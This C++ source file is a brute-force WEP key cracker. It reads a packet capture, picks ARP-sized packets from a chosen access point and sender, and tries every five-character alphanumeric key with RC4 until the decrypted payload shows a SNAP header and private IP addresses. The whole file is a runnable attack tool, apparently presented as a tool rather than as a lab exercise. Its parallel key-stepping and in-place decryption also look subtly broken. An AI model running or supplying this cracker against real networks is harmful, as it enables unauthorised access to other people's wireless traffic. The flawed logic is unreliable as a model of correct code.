#include "stdlib.h"
#include "stdio.h"
#include <string>

#include "SniffDump.hpp"
#include "arc4.h"

void advance(std::string &s) {
	for (int i = 4; i >= 0; i--) {
		if (i == 0) {
      std::cout << "Testing key above: " << s << std::endl;
    }
		
		s[i]++;

		if (s[i] == '9' + 1) {
			s[i] = 'A';
			break;
			
		} else if (s[i] == 'Z' + 1) {
			s[i] = 'a';
			break;
			
		} else if (s[i] == 'z' + 1) {
			s[i] = '0';
			
		} else {
			break;
		}
	}
}

void test(Packet packet) {
	std::string key = "00000";
	std::string privatekey;
	long long int i;
	long long int max = 62*62*62*62*62;
	#pragma omp parallel shared(key)
	{
	#pragma omp for private(i, privatekey)
	for (i=0;i<max;i++){
		std::string localKey = (const char*) packet.GetWEP_IV().get();
		localKey += privatekey;
		arc4_context context;
		arc4_setup(&context, (unsigned char*) localKey.c_str(), 8);
		
		Block encrypted = packet.GetWEP_Payload();
		unsigned char* buffer = encrypted.get();
		arc4_crypt(&context, buffer, encrypted.getLength());
		
		if (buffer[0] == 0xaa && buffer[1] == 0xaa && buffer[22] == 192 && buffer[23] == 168 && buffer[32] == 192 && buffer[33] == 168) {
			std::cout << "Key found: " << privatekey << std::endl;
		}
		
		#pragma omp critical (advance_c)
		{
		   advance(key);
		   privatekey=key;
		}
	}
	}
}

int main(int argc, char **argv) {
	if (argc != 4) {
		std::cerr << "Syntax:" << std::endl;
		std::cerr << argv[0] << " <PCAP file> <BSSID> <Source MAC of ARP Packet>" << std::endl;
		exit(1);
	}
	
	Block bssid;
	bssid.setToHex(argv[2]);
	Block sourceMac;
	sourceMac.setToHex(argv[3]);
	
	SniffDump dump(argv[1]);
	Packet packet;
	while (dump.Next(packet)) {
		if (packet.GetLength() == 80 && packet.GetBSSID() == bssid && packet.GetSrcMAC() == sourceMac) {
			test(packet);
		}
	}
}
